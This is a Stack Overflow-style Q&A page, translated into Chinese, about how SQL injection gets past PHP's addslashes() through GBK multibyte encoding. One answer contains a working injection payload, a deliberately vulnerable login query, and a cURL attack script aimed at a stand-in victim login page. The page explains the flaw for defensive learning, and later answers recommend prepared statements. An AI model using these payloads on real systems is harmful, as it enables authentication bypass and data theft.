通过addslashes()进行SQL注入的示例?

时间:2009-05-13 23:38:11

标签: php sql sql-injection security

在PHP中,我知道mysql_real_escape比使用addslashes更安全。 但是,我找不到addslashes允许SQL注入发生的情况的示例。

有人可以提供一些例子吗?

4 个答案:

答案 0 :(得分:43)

好吧,here's the article you want

基本上,攻击的工作方式是让addslashes()在多字节字符的中间加一个反斜杠,这样反斜杠就会成为有效多字节序列的一部分而失去意义。

文章中的一般警告:

  

这种类型的攻击可以通过任何字符编码来实现   有一个有效的多字节字符以0x5c结尾,因为   可以欺骗addslashes()创建有效的多字节字符   而不是逃避随后的单引号。 UTF-8不合适   这个描述。

答案 1 :(得分:4)

Chris Shiflett清楚地解释了下面的示例,如果您在数据库中使用GBK编码时尝试它,那么当然会有效。即使我尝试过它,也证明了,即使它们非常少,也有机会进行sql注入,但是具有良好知识和能力的人可以轻松注入。这是一个例子......

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

尽管通常会认为使用addslashes()或magic_quotes_gpc有点安全,但使用GBK会使它们几乎无用。以下PHP cURL脚本将能够使用注入,我希望这将帮助您更多地理解:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

答案 2 :(得分:3)

作为答案读者的补充:这个MySQL错误已经修复:)

此外,使用预准备语句始终是一种好习惯。它是您可以解决查询的最无漏洞的方式(在一些用例中,性能最高)。它会让你免于这个缺陷。

答案 3 :(得分:1)

mysql_real_escape_string() versus Prepared Statements清楚地解释了 mysql_real_escape_string()并非100%安全

使用 mysql_set_charset(&#39; GBK&#39;)替换 mysql_query(&#34; SET CHARACTER SET&#39; GBK&#39;&#34;)< / strong>,mysql_real_escape_string()可以100%安全。